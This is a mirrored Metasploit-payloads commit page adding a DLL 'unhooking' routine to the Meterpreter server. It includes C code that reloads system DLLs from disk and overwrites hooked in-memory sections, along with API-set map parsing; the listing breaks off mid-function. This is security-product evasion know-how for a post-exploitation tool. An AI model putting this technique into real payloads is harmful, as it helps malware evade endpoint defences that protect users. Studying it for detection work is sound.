1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

Land #302, Add universal unhooking call to meterpreter server

Merge branch 'land-302' into upstream-master
This commit is contained in:
bwatters 2018-12-12 16:12:56 -06:00
commit 6431374acf
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
8 changed files with 1274 additions and 0 deletions

View File

@ -0,0 +1,197 @@
/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#include "apisetmap.h"
_PPEB GetProcessEnvironmentBlock()
{
ULONG_PTR pPeb;
#ifdef _WIN64
pPeb = __readgsqword(0x60);
#else
#ifdef WIN_ARM
pPeb = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#else _WIN32
pPeb = __readfsdword(0x30);
#endif
#endif
return (_PPEB)pPeb;
}
PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList()
{
return (PLDR_DATA_TABLE_ENTRY)GetProcessEnvironmentBlock()->pLdr->InMemoryOrderModuleList.Flink;
}
PWCHAR GetRedirectedName(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
{
PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList;
*stSize = 0;
if (pApiSetMap->Version == 6)
return GetRedirectedName_V6(wszImportingModule, wszVirtualModule, stSize);
else if (pApiSetMap->Version == 4)
return GetRedirectedName_V4(wszImportingModule, wszVirtualModule, stSize);
else if (pApiSetMap->Version == 2)
return GetRedirectedName_V2(wszImportingModule, wszVirtualModule, stSize);
else
return NULL;
}
PWCHAR GetRedirectedName_V6(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
{
PAPI_SET_NAMESPACE_ARRAY_V6 pApiSetMap;
PAPI_SET_NAMESPACE_ENTRY_V6 pApiEntry;
PAPI_SET_VALUE_ENTRY_V6 pApiValue;
PAPI_SET_VALUE_ENTRY_V6 pApiArray;
DWORD dwEntryCount;
LONG dwSetCount;
PWSTR wsEntry;
PWSTR wsName;
PWSTR wsValue;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V6)GetProcessEnvironmentBlock()->pFreeList;
// Loop through each entry in the ApiSetMap to find the matching redirected module entry
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
{
pApiEntry = &pApiSetMap->Array[dwEntryCount];
wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset);
// Skip this entry if it does not match
if (_wcsnicmp(wsEntry, wszVirtualModule, pApiEntry->NameLength / 2) != 0)
continue;
pApiArray = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
// Loop through each value entry from the end and find where the importing module matches the ``Name`` entry
// If the ``Name`` entry is empty, it is the default entry @ index = 0
for (dwSetCount = pApiEntry->Count-1; dwSetCount >= 0; dwSetCount--)
{
// pApiValue = (PAPI_SET_VALUE_ENTRY_V6)((PCHAR)pApiSetMap + pApiEntry->DataOffset + (dwSetCount * sizeof(API_SET_VALUE_ENTRY_V6)));
pApiValue = &pApiArray[dwSetCount];
wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset);
wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset);
if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0)
{
*stSize = pApiValue->ValueLength / 2;
return wsValue;
}
}
}
return NULL;
}
PWCHAR GetRedirectedName_V4(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
{
PAPI_SET_NAMESPACE_ARRAY_V4 pApiSetMap;
PAPI_SET_NAMESPACE_ENTRY_V4 pApiEntry;
PAPI_SET_VALUE_ARRAY_V4 pApiArray;
PAPI_SET_VALUE_ENTRY_V4 pApiValue;
DWORD dwEntryCount;
LONG dwSetCount;
PWSTR wsEntry;
PWSTR wsName;
PWSTR wsValue;
PWSTR wszShortVirtualModule;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V4)GetProcessEnvironmentBlock()->pFreeList;
wszShortVirtualModule = (PWSTR)((PWCHAR)wszVirtualModule + 4);
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
{
pApiEntry = &pApiSetMap->Array[dwEntryCount];
wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset);
if (_wcsnicmp(wsEntry, wszShortVirtualModule, pApiEntry->NameLength / 2) != 0)
continue;
pApiArray = (PAPI_SET_VALUE_ARRAY_V4)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--)
{
pApiValue = &pApiArray->Array[dwSetCount];
wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset);
wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset);
if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0)
{
*stSize = pApiValue->ValueLength / 2;
return wsValue;
}
}
}
return NULL;
}
PWCHAR GetRedirectedName_V2(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize)
{
PAPI_SET_NAMESPACE_ARRAY_V2 pApiSetMap;
PAPI_SET_NAMESPACE_ENTRY_V2 pApiEntry;
PAPI_SET_VALUE_ARRAY_V2 pApiArray;
PAPI_SET_VALUE_ENTRY_V2 pApiValue;
DWORD dwEntryCount;
LONG dwSetCount;
PWSTR wsEntry;
PWSTR wsName;
PWSTR wsValue;
PWSTR wszShortVirtualModule;
pApiSetMap = (PAPI_SET_NAMESPACE_ARRAY_V2)GetProcessEnvironmentBlock()->pFreeList;
wszShortVirtualModule = (PWSTR)((PWCHAR)wszVirtualModule + 4);
for (dwEntryCount = 0; dwEntryCount < pApiSetMap->Count; dwEntryCount++)
{
pApiEntry = &pApiSetMap->Array[dwEntryCount];
wsEntry = (PWSTR)((PCHAR)pApiSetMap + pApiEntry->NameOffset);
if (_wcsnicmp(wsEntry, wszShortVirtualModule, pApiEntry->NameLength / 2) != 0)
continue;
pApiArray = (PAPI_SET_VALUE_ARRAY_V2)((PCHAR)pApiSetMap + pApiEntry->DataOffset);
for (dwSetCount = pApiArray->Count-1; dwSetCount >= 0; dwSetCount--)
{
pApiValue = &pApiArray->Array[dwSetCount];
wsName = (PWSTR)((PCHAR)pApiSetMap + pApiValue->NameOffset);
wsValue = (PWSTR)((PCHAR)pApiSetMap + pApiValue->ValueOffset);
if (pApiValue->NameLength == 0 || _wcsnicmp(wsName, wszImportingModule, pApiValue->NameLength / 2) == 0)
{
*stSize = pApiValue->ValueLength / 2;
return wsValue;
}
}
}
return NULL;
}

View File

@ -0,0 +1,152 @@
/*************************************************************************************
* Author: Jeff Tang <jtang@cylance.com>
* Copyright (c) 2017 Cylance Inc. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without modification, *
* are permitted provided that the following conditions are met: *
* *
* 1. Redistributions of source code must retain the above copyright notice, this *
* list of conditions and the following disclaimer. *
* *
* 2. Redistributions in binary form must reproduce the above copyright notice, *
* this list of conditions and the following disclaimer in the documentation and/or *
* other materials provided with the distribution. *
* *
* 3. Neither the name of the copyright holder nor the names of its contributors *
* may be used to endorse or promote products derived from this software without *
* specific prior written permission. *
* *
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR *
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON *
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
* *
*************************************************************************************/
#pragma once
#ifndef _APISETMAP_H_
#define _APISETMAP_H_
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
_PPEB GetProcessEnvironmentBlock();
PLDR_DATA_TABLE_ENTRY GetInMemoryOrderModuleList();
// Win 10
typedef struct _API_SET_VALUE_ENTRY_V6
{
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V6, *PAPI_SET_VALUE_ENTRY_V6;
typedef struct _API_SET_NAMESPACE_HASH_ENTRY_V6
{
ULONG Hash;
ULONG Index;
} API_SET_NAMESPACE_HASH_ENTRY_V6, *PAPI_SET_NAMESPACE_HASH_ENTRY_V6;
typedef struct _API_SET_NAMESPACE_ENTRY_V6
{
ULONG Flags;
ULONG NameOffset;
ULONG Size;
ULONG NameLength;
ULONG DataOffset;
ULONG Count;
} API_SET_NAMESPACE_ENTRY_V6, *PAPI_SET_NAMESPACE_ENTRY_V6;
typedef struct _API_SET_NAMESPACE_ARRAY_V6
{
ULONG Version;
ULONG Size;
ULONG Flags;
ULONG Count;
ULONG DataOffset;
ULONG HashOffset;
ULONG Multiplier;
API_SET_NAMESPACE_ENTRY_V6 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V6, *PAPI_SET_NAMESPACE_ARRAY_V6;
// Windows 8.1
typedef struct _API_SET_VALUE_ENTRY_V4
{
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V4, *PAPI_SET_VALUE_ENTRY_V4;
typedef struct _API_SET_VALUE_ARRAY_V4
{
ULONG Flags;
ULONG Count;
API_SET_VALUE_ENTRY_V4 Array[ANYSIZE_ARRAY];
} API_SET_VALUE_ARRAY_V4, *PAPI_SET_VALUE_ARRAY_V4;
typedef struct _API_SET_NAMESPACE_ENTRY_V4
{
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG AliasOffset;
ULONG AliasLength;
ULONG DataOffset;
} API_SET_NAMESPACE_ENTRY_V4, *PAPI_SET_NAMESPACE_ENTRY_V4;
typedef struct _API_SET_NAMESPACE_ARRAY_V4
{
ULONG Version;
ULONG Size;
ULONG Flags;
ULONG Count;
API_SET_NAMESPACE_ENTRY_V4 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V4, *PAPI_SET_NAMESPACE_ARRAY_V4;
// Windows 7/8
typedef struct _API_SET_VALUE_ENTRY_V2
{
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY_V2, *PAPI_SET_VALUE_ENTRY_V2;
typedef struct _API_SET_VALUE_ARRAY_V2
{
ULONG Count;
API_SET_VALUE_ENTRY_V2 Array[ANYSIZE_ARRAY];
} API_SET_VALUE_ARRAY_V2, *PAPI_SET_VALUE_ARRAY_V2;
typedef struct _API_SET_NAMESPACE_ENTRY_V2
{
ULONG NameOffset;
ULONG NameLength;
ULONG DataOffset;
} API_SET_NAMESPACE_ENTRY_V2, *PAPI_SET_NAMESPACE_ENTRY_V2;
typedef struct _API_SET_NAMESPACE_ARRAY_V2
{
ULONG Version;
ULONG Count;
API_SET_NAMESPACE_ENTRY_V2 Array[ANYSIZE_ARRAY];
} API_SET_NAMESPACE_ARRAY_V2, *PAPI_SET_NAMESPACE_ARRAY_V2;
PWCHAR GetRedirectedName(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
PWCHAR GetRedirectedName_V6(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
PWCHAR GetRedirectedName_V4(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
PWCHAR GetRedirectedName_V2(const PWSTR wszImportingModule, const PWSTR wszVirtualModule, SIZE_T* stSize);
#endif // _APISETMAP_H_

View File

@ -0,0 +1,515 @@
#include "refresh.h"
#include "apisetmap.h"
#include "../../common/common.h"
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
void RefreshPE()
{
HMODULE hModule;
PWSTR wszFullDllName;
PWSTR wszBaseDllName;
ULONG_PTR pDllBase;
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
dprintf("[REFRESH] Running DLLRefresher");
pLdteHead = GetInMemoryOrderModuleList();
pLdteCurrent = pLdteHead;
do {
if (pLdteCurrent->FullDllName.Length > 2)
{
wszFullDllName = pLdteCurrent->FullDllName.pBuffer;
wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer;
pDllBase = (ULONG_PTR)pLdteCurrent->DllBase;
dprintf("[REFRESH] Refreshing DLL: %S", wszFullDllName);
hModule = CustomLoadLibrary(wszFullDllName, wszBaseDllName, pDllBase);
if (hModule)
{
ScanAndFixModule((PCHAR)hModule, (PCHAR)pDllBase, wszBaseDllName);
VirtualFree(hModule, 0, MEM_RELEASE);
}
}
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
} while (pLdteCurrent != pLdteHead);
}
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase)
{
// File handles
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hMap = NULL;
PCHAR pFile = NULL;
// PE headers
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
// Library
PCHAR pLibraryAddr = NULL;
DWORD dwIdx;
// Relocation
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_BASE_RELOCATION pBaseReloc;
ULONG_PTR pReloc;
DWORD dwNumRelocs;
ULONG_PTR pInitialImageBase;
PIMAGE_RELOC pImageReloc;
// Import
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PCHAR szDllName;
SIZE_T stDllName;
PWSTR wszDllName = NULL;
PWCHAR wsRedir = NULL;
PWSTR wszRedirName = NULL;
SIZE_T stRedirName;
SIZE_T stSize;
HMODULE hModule;
PIMAGE_THUNK_DATA pThunkData;
FARPROC* pIatEntry;
// clr.dll hotpatches itself at runtime for performance reasons, so skip it
if (wcscmp(L"clr.dll", wszBaseDllName) == 0)
goto cleanup;
dprintf("[REFRESH] Opening file: %S", wszFullDllName);
// ----
// Step 1: Map the file into memory
// ----
hFile = CreateFileW(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
goto cleanup;
hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (hMap == NULL)
goto cleanup;
pFile = (PCHAR)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
if (pFile == NULL)
goto cleanup;
// ----
// Step 2: Parse the file headers and load it into memory
// ----
pDosHeader = (PIMAGE_DOS_HEADER)pFile;
pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew);
// allocate memory to copy DLL into
dprintf("[REFRESH] Allocating memory for library");
pLibraryAddr = (PCHAR)VirtualAlloc(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy header
dprintf("[REFRESH] Copying PE header into memory");
memcpy(pLibraryAddr, pFile, pNtHeader->OptionalHeader.SizeOfHeaders);
// copy sections
dprintf("[REFRESH] Copying PE sections into memory");
pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
{
memcpy(pLibraryAddr + pSectionHeader[dwIdx].VirtualAddress,
pFile + pSectionHeader[dwIdx].PointerToRawData,
pSectionHeader[dwIdx].SizeOfRawData);
}
// update our pointers to the loaded image
pDosHeader = (PIMAGE_DOS_HEADER)pLibraryAddr;
pNtHeader = (PIMAGE_NT_HEADERS)(pLibraryAddr + pDosHeader->e_lfanew);
// ----
// Step 3: Calculate relocations
// ----
dprintf("[REFRESH] Calculating file relocations");
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
pInitialImageBase = pNtHeader->OptionalHeader.ImageBase;
// set the ImageBase to the already loaded module's base
pNtHeader->OptionalHeader.ImageBase = pDllBase;
// check if their are any relocations present
if (pDataDir->Size)
{
// calculate the address of the first IMAGE_BASE_RELOCATION entry
pBaseReloc = (PIMAGE_BASE_RELOCATION)(pLibraryAddr + pDataDir->VirtualAddress);
// iterate through each relocation entry
while ((PCHAR)pBaseReloc < (pLibraryAddr + pDataDir->VirtualAddress + pDataDir->Size) && pBaseReloc->SizeOfBlock)
{
// the VA for this relocation block
pReloc = (ULONG_PTR)(pLibraryAddr + pBaseReloc->VirtualAddress);
// number of entries in this relocation block
dwNumRelocs = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// first entry in the current relocation block
pImageReloc = (PIMAGE_RELOC)((PCHAR)pBaseReloc + sizeof(IMAGE_BASE_RELOCATION));
// iterate through each entry in the relocation block
while (dwNumRelocs--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we subtract the initial ImageBase and add in the original dll base
if (pImageReloc->type == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(pReloc + pImageReloc->offset) -= pInitialImageBase;
*(ULONG_PTR *)(pReloc + pImageReloc->offset) += pDllBase;
}
else if (pImageReloc->type == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(pReloc + pImageReloc->offset) -= (DWORD)pInitialImageBase;
*(DWORD *)(pReloc + pImageReloc->offset) += (DWORD)pDllBase;
}
else if (pImageReloc->type == IMAGE_REL_BASED_HIGH)
{
*(WORD *)(pReloc + pImageReloc->offset) -= HIWORD(pInitialImageBase);
*(WORD *)(pReloc + pImageReloc->offset) += HIWORD(pDllBase);
}
else if (pImageReloc->type == IMAGE_REL_BASED_LOW)
{
*(WORD *)(pReloc + pImageReloc->offset) -= LOWORD(pInitialImageBase);
*(WORD *)(pReloc + pImageReloc->offset) += LOWORD(pDllBase);
}
// get the next entry in the current relocation block
pImageReloc = (PIMAGE_RELOC)((PCHAR)pImageReloc + sizeof(IMAGE_RELOC));
}
// get the next entry in the relocation directory
pBaseReloc = (PIMAGE_BASE_RELOCATION)((PCHAR)pBaseReloc + pBaseReloc->SizeOfBlock);
}
}
// ----
// Step 4: Update import table
// ----
dprintf("[REFRESH] Resolving Import Address Table (IAT) ");
pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pDataDir->Size)
{
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pLibraryAddr + pDataDir->VirtualAddress);
while (pImportDesc->Characteristics)
{
hModule = NULL;
wszDllName = NULL;
szDllName = (PCHAR)(pLibraryAddr + pImportDesc->Name);
stDllName = strnlen(szDllName, MAX_PATH);
wszDllName = (PWSTR)calloc(stDllName + 1, sizeof(WCHAR));
if (wszDllName == NULL)
goto next_import;
mbstowcs_s(&stSize, wszDllName, stDllName + 1, szDllName, stDllName);
dprintf("[REFRESH] Loading library: %S", wszDllName);
// If the DLL starts with api- or ext-, resolve the redirected name and load it
if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0)
{
// wsRedir is not null terminated
wsRedir = GetRedirectedName(wszBaseDllName, wszDllName, &stRedirName);
if (wsRedir)
{
// Free the original wszDllName and allocate a new buffer for the redirected dll name
free(wszDllName);
wszDllName = (PWSTR)calloc(stRedirName + 1, sizeof(WCHAR));
if (wszDllName == NULL)
goto next_import;
memcpy(wszDllName, wsRedir, stRedirName * sizeof(WCHAR));
dprintf("[REFRESH] Redirected library: %S", wszDllName);
}
}
// Load the module
hModule = CustomGetModuleHandleW(wszDllName);
// Ignore libraries that fail to load
if (hModule == NULL)
goto next_import;
if (pImportDesc->OriginalFirstThunk)
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->OriginalFirstThunk);
else
pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->FirstThunk);
pIatEntry = (FARPROC*)(pLibraryAddr + pImportDesc->FirstThunk);
// loop through each thunk and resolve the import
for(; DEREF(pThunkData); pThunkData++, pIatEntry++)
{
if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal))
*pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)IMAGE_ORDINAL(pThunkData->u1.Ordinal), wszDllName);
else
*pIatEntry = CustomGetProcAddressEx(hModule, ((PIMAGE_IMPORT_BY_NAME)(pLibraryAddr + DEREF(pThunkData)))->Name, wszDllName);
}
next_import:
if (wszDllName != NULL)
{
free(wszDllName);
wszDllName = NULL;
}
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR));
}
}
cleanup:
if (pFile != NULL)
UnmapViewOfFile(pFile);
if (hMap != NULL)
CloseHandle(hMap);
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return (HMODULE) pLibraryAddr;
}
HMODULE CustomGetModuleHandleW(const PWSTR wszModule)
{
HMODULE hModule = NULL;
PLDR_DATA_TABLE_ENTRY pLdteHead = NULL;
PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL;
dprintf("[REFRESH] Searching for loaded module: %S", wszModule);
pLdteCurrent = pLdteHead = GetInMemoryOrderModuleList();
do {
if (pLdteCurrent->FullDllName.Length > 2 &&
_wcsnicmp(wszModule, pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length / 2) == 0)
{
return ((HMODULE)pLdteCurrent->DllBase);
}
pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink;
} while (pLdteCurrent != pLdteHead);
return LoadLibraryW(wszModule);
}
VOID ScanAndFixModule(PCHAR pKnown, PCHAR pSuspect, PWCHAR wszBaseDllName)
{
// PE headers
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwIdx;
dprintf("[REFRESH] Scanning module: %S", wszBaseDllName);
pDosHeader = (PIMAGE_DOS_HEADER)pKnown;
pNtHeader = (PIMAGE_NT_HEADERS)(pKnown + pDosHeader->e_lfanew);
// Scan PE header
ScanAndFixSection("Header", pKnown, pSuspect, pNtHeader->OptionalHeader.SizeOfHeaders);
// Scan each section
pSectionHeader = (PIMAGE_SECTION_HEADER)(pKnown + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++)
{
if (pSectionHeader[dwIdx].Characteristics & IMAGE_SCN_MEM_WRITE)
continue;
if (wcscmp(wszBaseDllName, L"clr.dll") == 0 && strcmp(pSectionHeader[dwIdx].Name, ".text") == 0)
{
ScanAndFixSection((PCHAR)pSectionHeader[dwIdx].Name, pKnown + pSectionHeader[dwIdx].VirtualAddress,
pSuspect + pSectionHeader[dwIdx].VirtualAddress, pSectionHeader[dwIdx].Misc.VirtualSize);
}
}
}
VOID ScanAndFixSection(PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength)
{
DWORD ddOldProtect;
if (memcmp(pKnown, pSuspect, stLength) != 0)
{
dprintf("[REFRESH] Found modification in: %s", szSectionName);
if (!VirtualProtect(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect))
return;
dprintf("[REFRESH] Copying known good section into memory.");
memcpy(pSuspect, pKnown, stLength);
if (!VirtualProtect(pSuspect, stLength, ddOldProtect, &ddOldProtect))
dprintf("[REFRESH] Unable to reset memory permissions");
}
}
// This code is modified from Stephen Fewer's GetProcAddress implementation
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, PWSTR wszOriginalModule)
{
UINT_PTR uiLibraryAddress = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
UINT_PTR uiFuncVA = 0;
PCHAR cpExportedFunctionName;
PCHAR szFwdDesc;
PCHAR szRedirFunc;
PWSTR wszDllName;
SIZE_T stDllName;
PWCHAR wsRedir;
PWSTR wszRedirName = NULL;
SIZE_T stRedirName;
HMODULE hFwdModule;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
FARPROC fpResult = NULL;
DWORD dwCounter;
if (hModule == NULL)
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
// get the VA for the array of name pointers
uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
